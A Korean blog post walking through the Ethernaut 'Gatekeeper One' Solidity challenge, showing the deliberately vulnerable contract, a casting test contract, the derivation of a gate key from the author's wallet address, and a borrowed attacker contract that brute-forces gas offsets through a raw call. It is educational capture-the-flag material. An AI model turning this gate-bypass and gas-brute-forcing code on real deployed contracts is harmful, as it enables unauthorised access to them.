Don't think! Just do it!

종합 IT 기술 정체성 카오스 블로그! 이... 이곳은 어디지?

Smart contract/Ethernaut 문제풀이

Ethernaut 문제풀이 #13 - Gatekeeper One

방피터 2022. 2. 28. 16:37

13번 문제 Gatekeeper One 입니다. 이 문제는 13번, 14번에 one, twe 두 개로 구성되어 있네요. 두 레벨이 비슷한 성격인가 봅니다.

Gatekeeper를 지나야 이 레벨을 통과할 수 있다고 합니다. 힌트로는 Telephone과 Token level에서 배운 것을 명심하라고 되어 있네요.

그리고 또 solidity 문서에서 gasleft()라는 특별한 함수를 배울 수 있다고 합니다.

 

2022.02.28 - [Smart contract/Ethernaut 문제풀이] - Ethernaut 문제풀이 #4 - Telephone

 

Ethernaut 문제풀이 #4 - Telephone

레벨 4 Telephone입니다. 이번 문제도 Ownership을 탈취하는 문제고 역시 Beyond the console을 참고하라는, 즉 다른 컨트랙트를 통해 이 컨트랙트를 공격하라고 합니다. 자 해 봅시다. 똑같이 인스턴스를

engschool.tistory.com

2022.02.28 - [Smart contract/Ethernaut 문제풀이] - Ethernaut 문제풀이 #5 - Token

 

Ethernaut 문제풀이 #5 - Token

5번째 문제 Token입니다. 목표는 컨트렉트의 토큰을 해킹하는 것이구요. 20개의 토큰을 가지고 시작하는데요 20개보다 더 많은(매우 많이) 토큰을 확보하면 된다고 합니다. 힌트로는 "odometer가 뭔가

engschool.tistory.com

레벨 4의 Telephone에서는 tx.origin 과 msg.sender를 분명하게 구분해서 사용하자는 내용이었고 레벨 5 Token는 변수 오버플로우에 관한 것이었습니다. 그리고 gasleft는 잔여  가스라는 설명 이외에는 없는 거 같은데요?

 

뭐 레벨에서 주는 힌트야 항상 애매~ 하니까 코드부터 봅시다.

 

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract GatekeeperOne {//GetekeeperOne 컨트랙트

  using SafeMath for uint256;
  address public entrant;

  modifier gateOne() {//gateOne modifier
    require(msg.sender != tx.origin);//이건 다른 컨트랙트를 사용하므로써 지나갈 수 있겠네요.
    _;
  }

  modifier gateTwo() {//gateTwo modifier
    require(gasleft().mod(8191) == 0);//gasleft 8191로 나눈 나머지가 0이어야 한다고 하네요.
    _;
  }

  modifier gateThree(bytes8 _gateKey) {//3번 게이트 키퍼
      //1. gateKey를 64->16 케스팅 한 것과 64->32 케스팅 한 것이 똑같아야 한다고 합니다.
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
      //2. gatekey가 또 강제로 형변환 한 것들과 달라야 한다고 하네요.
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
      //3.txorigin을 uint16으로 변환한 것이 gatekey를 64 -> 32로 변환한 것과 같아야 합니다.
      require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
    _;
  }
  //이 게이트들을 무사히 통과하고 나면 entrant는 tx.origin이 되고 true를 반환합니다.
  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

 

 

여러가지 생각나는게 있으실 것 같은데요. 그전에 간단한 컨트랙트를 만들어서 실제로 캐스팅 된 값들을 확인하고 넘어가시죠.

 

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract CastingTest {
    bytes8 public _gateKey;
    function set_gateKey(bytes8 gateKey) public {
        _gateKey = gateKey;
    }
    function getGasLeft() public view returns(uint256){
        return gasleft();
    }
    function get64() public view returns(uint64){
        return uint64(_gateKey);
    }
    function get64_32() public view returns(uint32){
        return uint32(uint64(_gateKey));
    }
    function get64_16() public view returns(uint16){
        return uint16(uint64(_gateKey));
    }
    function getTxOrigin16() public view returns(uint16){
        return uint16(tx.origin);
    }
}

 

_gateKey 0xabcdef1234567890을 입력한 후 캐스팅 값들을 확인해 보았습니다. 아래는 결과들입니다.

 

_gateKey: 0xabcdef1234567890 입력

uint64(_gateKey): 0xabcdef1234567890 => bytes8 은 uint64와 같습니다.

uint32(uint64(_gateKey)): 0x34567890 => 하위 4바이트가 남습니다.

uint16(uint64(_gateKey)): 0x7890 => 하위 2바이트가 남습니다.

 

그리고 

tx.origin: 0x75bD5f1Cc72ba1da65bbE424f102c868c29Cea8E 제 지갑 주소이구요.

uint16(tx.origin): 0xea8e => 하위 2바이트가 남습니다.

 

modifier 마지막 조건부터 보겠습니다. 여기서 대부분 결정이 되기 때문입니다. 하위 2 byte  tx.origin의 마지막 2 byte와 같아야 합니다.

(uint32(uint64(_gateKey)) == uint16(tx.origin)
0xXXXXXXXX 가 0xea8e와 같으려면 0xXXXXXXXX는 0x0000ea8e 수 밖에 없습니다.

 

그리고 4 byte로 줄인 값과 2 byte로 줄인 값이 일치하야 하므로 하위 두 byte 다음의 2 byte는 0000 이 되어야 합니다.

(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey))
0xXXXXea8e가 0xea8e와 같으려면 XXXX가 0000이어야 하죠

 

그리고 아래 조건을 만족하려면 상위바이트는 0이 아니어야 합니다.

uint32(uint64(_gateKey)) != uint64(_gateKey)
0x0000ea8e != 0xXXXXXXXX0000ea8e 를 만족하려면 XXXXXXXX는 00000000이 아니어야 합니다.

 

그럼 결국 _gateKey의 모습은 0xXXXXXXXX0000ea8e의 형태가 되면 전부 조건을 만족합니다.

저는 그냥 제 지갑 주소에서 8 byte를 뜯어내고 하위 3,4 번째 byte만 0000으로 변경하였습니다.  => "0xf102c8680000ea8E"

 

그러면 남은 것은 gasleft()가 8191의 배수가 되도록 설정하는 일 뿐인데요.

거의 하루를 날려가며 생각하고 검색해봤지만 찾을 수가 없었습니다. 13개 레벨 중 저에게는 가장 어려운 레벨인 듯 합니다. 결국  검색을 통해 openzeppelin 커뮤니티에서 답을 찾긴 했는데요. 이마저도 찝찝하네요.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract GatePass{
    address public owner;
    address public target;
    
    constructor(address _target) public {
        owner = msg.sender;
        target = _target;
    }
    
    function pass(bytes8 gateKey) public {
        bytes memory encodedParams = abi.encodeWithSignature(("enter(bytes8)"),
          gateKey
        );
        // gas offset usually comes in around 210, give a buffer of 60 on each side
        for (uint256 i = 0; i < 120; i++) {
            (bool result, bytes memory data) = address(target).call{gas:i + 150 + 8191 * 3} (
                encodedParams
            );
            if(result) {
                break;
            }
        }
    }
}

코드와 같은 컨트랙트를 배포하고 계산해두었던 key값을 넣어 실행하면 됩니다. 당연히 문제도 풀립니다. 하지만 이렇게 for문으로 돌려 일일이 대입하여 값을 찾아내는 점과 raw level 함수를 사용하는 점이 여간 마음이 불편한게 아닙니다. -_- 두통까지 오고 있습니다.

 

일반 함수로는 동작하지 않습니다. 이유는 다음과 같다고 하는데 솔직히 의미를 잘 모르겠습니다. It’s because the raw call does not propagate the reverts that occur on any iteration that does not pass the required gas value.

 

아마 조금 더 공부를 해야 Ethernaut 문제 풀이가 원활하게 되지 않을까 싶습니다.

 

이 레벨은 일단 지금은 홀딩하고 공부를 더 하고 난 후에 다시 정리하도록 하겠습니다.

 

안녕~!

 

제출은 하였으나 기분은 매우 좋지 않다.

 

반응형